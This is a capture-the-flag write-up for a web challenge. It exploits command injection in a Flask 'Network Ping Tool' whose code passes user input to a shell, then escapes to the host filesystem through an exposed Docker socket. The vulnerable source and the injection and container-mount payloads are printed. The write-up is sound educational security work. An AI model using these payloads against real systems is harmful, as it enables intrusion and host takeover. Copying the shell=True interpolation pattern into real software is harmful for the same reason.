DOCKER-CEPTION — Web exploitation
The challenge presents a minimal “Network Ping Tool” web interface that accepts a hostname or IP address and returns the result of a ping request. At first glance, the functionality appears straightforward, but the backend implementation reveals a critical flaw.
Initial analysis
The page has an input field with title Network Ping Tool. When I enter an IP or hostname, it outputs the ping response. This is the output for 127.0.0.1:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms
So it simply takes the input and uses the hostname in a ping command. I tested it with:
127.0.0.1 | ls
The output listed app.py and templates. Here is the full app.py (e.g. via 127.0.0.1 | cat app.py):
from flask import Flask, render_template, request
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
host = request.form.get('host', '')
# I hope this isn't vulnerable to command injection...
try:
result = subprocess.check_output(
f"sudo -u ctfer ping -c 1 {host}",
shell=True,
stderr=subprocess.STDOUT,
text=True,
timeout=5
)
except subprocess.CalledProcessError as e:
result = e.output
except Exception as e:
result = str(e)
return f'\n{result}\n'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
The use of shell=True combined with direct string interpolation of user input ({host}) makes the application trivially vulnerable to command injection — the comment in the source is exactly what went wrong.
Gaining execution
Because the whole command line is interpreted by a shell, operators like |, ;, or && can chain arbitrary commands after the ping invocation. Execution runs as the ctfer user (per the sudo -u ctfer wrapper). The next step is to find what that user can reach on the box.
Environment enumeration
Since the title mentions about docker, basic enumeration reveals the presence of a Docker socket:
127.0.0.1 | ls /var/run
Output includes docker.sock. Access to /var/run/docker.sock effectively grants root-equivalent control over the host, as it allows interaction with the Docker daemon.
Docker escape
With access to the Docker socket, it becomes possible to spawn new containers. By mounting the host filesystem into a container, we can bypass filesystem isolation entirely. The following payload is used:
127.0.0.1 | docker run --rm -v /:/mnt alpine ls /mnt
This confirms visibility of the host filesystem, including a /flag directory. Attempting to read /mnt/flag reveals it is a directory, so its contents are enumerated:
127.0.0.1 | docker run --rm -v /:/mnt alpine ls /mnt/flag
Finally, the flag is retrieved by reading the flag.txt within that directory:
127.0.0.1 | docker run --rm -v /:/mnt alpine cat /mnt/flag/flag.txt
Conclusion
The challenge hinges on chaining two well-known misconfigurations:
- Command injection due to unsafe use of subprocess with shell=True.
- Docker socket exposure, allowing full control over the host environment.
Flag: (redacted)